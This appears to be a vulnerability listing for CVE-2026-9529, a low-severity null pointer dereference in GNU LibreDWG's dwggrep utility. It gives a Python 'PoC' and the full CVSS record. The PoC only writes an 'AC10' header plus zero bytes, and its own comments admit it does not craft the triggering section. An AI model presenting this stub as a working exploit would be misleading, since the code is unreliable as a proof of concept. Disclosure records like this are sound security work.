CVE-2026-9529

#!/usr/bin/env python3 # PoC for CVE-2026-9529: Null Pointer Dereference in GNU LibreDWG Dwggrep # This script generates a malformed DWG file to trigger the crash in match_BLOCK_HEADER. import struct import os def create_malformed_dwg(filename): # Minimal DWG header structure (simplified for PoC) # A real exploit would craft the specific section that triggers the null pointer # in the match_BLOCK_HEADER function within dwggrep.c header = b"AC10" # Version string placeholder # Fill with zeros or specific pattern to reach the vulnerable parsing logic junk = b"\x00" * 0x100 with open(filename, "wb") as f: f.write(header + junk) print(f"[+] Malformed DWG file created: {filename}") def trigger_vulnerability(filepath): print(f"[*] Attempting to trigger vulnerability using dwggrep on {filepath}...") # In a real scenario, this would call the vulnerable binary # os.system(f"dwggrep '{filepath}'") print("[!] If vulnerable, the application will crash due to Null Pointer Dereference.") if __name__ == "__main__": poc_file = "crash_test.dwg" create_malformed_dwg(poc_file) trigger_vulnerability(poc_file)

{"cve": {"id": "CVE-2026-9529", "sourceIdentifier": "[email protected]", "published": "2026-05-26T05:16:19.030", "lastModified": "2026-05-26T05:16:19.030", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in GNU LibreDWG up to 0.14. The affected element is the function match_BLOCK_HEADER of the file dwggrep.c of the component Dwggrep Utility. Performing a manipulation results in null pointer dereference. The attack requires a local approach. The exploit has been released to the public and may be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}, {"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://github.com/HackC0der/CVE-Repos/blob/main/libredwg/libredwg_6d6a339_heap_oob_write_read_2004_compressed_section.dwg", "source": "[email protected]"}, {"url": "https://github.com/LibreDWG/libredwg/issues/1247", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/814273", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365548", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365548/cti", "source": "[email protected]"}, {"url": "https://www.gnu.org/", "source": "[email protected]"}]}}